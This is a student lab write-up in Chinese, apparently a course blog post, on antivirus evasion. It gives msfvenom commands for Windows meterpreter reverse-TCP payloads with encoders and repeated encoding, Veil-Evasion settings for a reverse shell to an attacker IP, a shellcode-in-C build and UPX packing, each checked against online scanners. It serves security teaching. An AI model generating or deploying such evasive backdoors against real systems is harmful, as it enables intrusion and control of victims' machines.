• 20145236《网络攻防》 Exp3 免杀原理与实践


    20145236《网络攻防》 Exp3 免杀原理与实践

    一、基础问题回答

    1.杀软是如何检测出恶意代码的?

    • 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的特征码时就可以判断为恶意代码。
    • 为了防止自身特征码被检测,有些恶意代码使用了免杀加壳软件进行加壳,一些流行的加壳软件已经可以检查出来,如果被这样的加壳软件加壳就可能是恶意代码。
    • 判断该代码是否有恶意行为,若有就会判断代码是恶意代码。

    2.免杀是做什么的?

    • 通过各种手段免除计算机对恶意代码查杀即为免杀。

    3.免杀的基本方法有哪些?

    • (1)通过改变自身特征码
      • 加壳(可以选择比较新的、冷门的壳,流行的已经可以被大多数杀毒软件查杀)
      • 进行异或、逆序或者其他手段改变自身特征码。
      • 通过改变软件攻击的行为
    • (2)在看似正常的应用中插入恶意代码,当程序运行时看似正常,可以逃过查杀。
      • 可以使用反弹端口技术,这样看上去就像是靶机在主动链接ip,大大减低被查杀的风险。
      • 使用隧道技术。

    二、离实战还缺些什么技术或步骤?

    1. 如何将我们制作的后门程序传到靶机上
    2. 如何让靶机运行这个看起来不知道有什么用途的程序…
    3. 如何保证自己的主机ip地址不变,随时随地都可以进行攻击

    三、实践过程

    1. msfvenom直接生成meterpreter可执行文件

    • . 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:
    • 从上图可以看出,许多杀软一针见血的指出了该程序为“木马类”程序
    • 有21/39的杀毒软件发现有病毒

    2. Msfvenom使用编码器生成meterpreter可执行文件

    (1)一次编码:

    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.85.129 LPORT=5236 -f exe > fool5236.exe命令生成编码过的可执行文件fool5236.exe
    • 我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
    • 再次使用virscan.org检测

    • 我们发现有18/39的杀毒软件发现有病毒,只有微小的变化,因为AV不是吃素的,AV的工作人员都有相关做恶意代码的经验,编码这种事情肯定难不倒他们。

    (2)多次编码:

    • 我们尝试使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.85.129 LPORT=5236 -f exe > fool5237-e8.exe命令将文件编码10次,得到如下结果:
    • 将生成的文件放到网站上扫描一下:

    • 可以发现无论编码多少次都是一样,所以想要利用编码次数来达到免杀效果显然是不行的。

    3. Veil-Evasion免杀平台

    • Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion
      在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:
    use python/meterpreter/rev_tcp  //设置payload
    set LHOST 192.168.85.129    //设置反弹连接IP
    set port 443    //设置反弹端口443,默认为4444
    generate    //生成
    5236    //程序名
    1
    

    • 该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击places的fengjia即可找到相应的文件夹:

    • 放到网站上扫描一下:

    4. C语言调用Shellcode

    • 在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c

      • LHOST:攻击机IP
      • LPORT:反弹连接端口
      • c:生成一个c语言格式的Shellcode数组
    • 创建一个C文件:MSSC_5236.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:

    • 使用i686-w64-mingw32-g++ MSSC.c -o MSSC_5236.exe命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5236.exe

    • 放到网上检查一下:

    • 将上面生成的数组copy到主机上,用vc编写一个C程序并编译,在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限:

    • 程序运行后被360杀毒很快就查出来了,说明360杀毒还是挺强的:

    • 放到网上检测一下:

    • 小结:可以看出,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

    5. 加壳

    • upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:

      • upx #需要加壳的文件名 -o #加壳后的文件名

    • 检测一下:

    实验总结

    有时候看到我的杀软跳出红色界面报毒的时候感觉可安全了……现在才知道有多天真,稍作修饰我们就可以自己制作一个免杀的恶意代码,只要植入靶机那很多东西都会一览无余。
    像在这次实验中,只是稍作修改,连我自己都可以做出骗过我所安装的360杀毒软件的病毒程序,可见其实我们的电脑及其不安全。
    另外我看了看其他同学的博客,有说其实在VirSCAN里显示的数据并不一定准确,有的病毒在VirSCAN中扫描未查杀,但是在本机电脑杀毒软件中就报毒了,可见及时的更新自己的杀毒软件,保持最新病毒库还是很重要的。

  • 相关阅读:
    java web开发中会遇到的异步执行方案
    MySQL中进行树状所有子节点的查询
    node.js ----NPM使用介绍
    Node.js--学习笔记
    node.js介绍及Win7环境安装测试(转)
    Jmeter中Websocket协议支持包的使用(转)
    jmeter---将回应数据写入到文件
    JMeter 插件 Json Path 解析 HTTP 响应 JSON 数据(转)
    python + Pyglet ---播放视频
    转 RTSP客户端模拟器(TCP方式,Python实现)
  • 原文地址:https://www.cnblogs.com/feng886779/p/8672780.html
Copyright © 2020-2023  润新知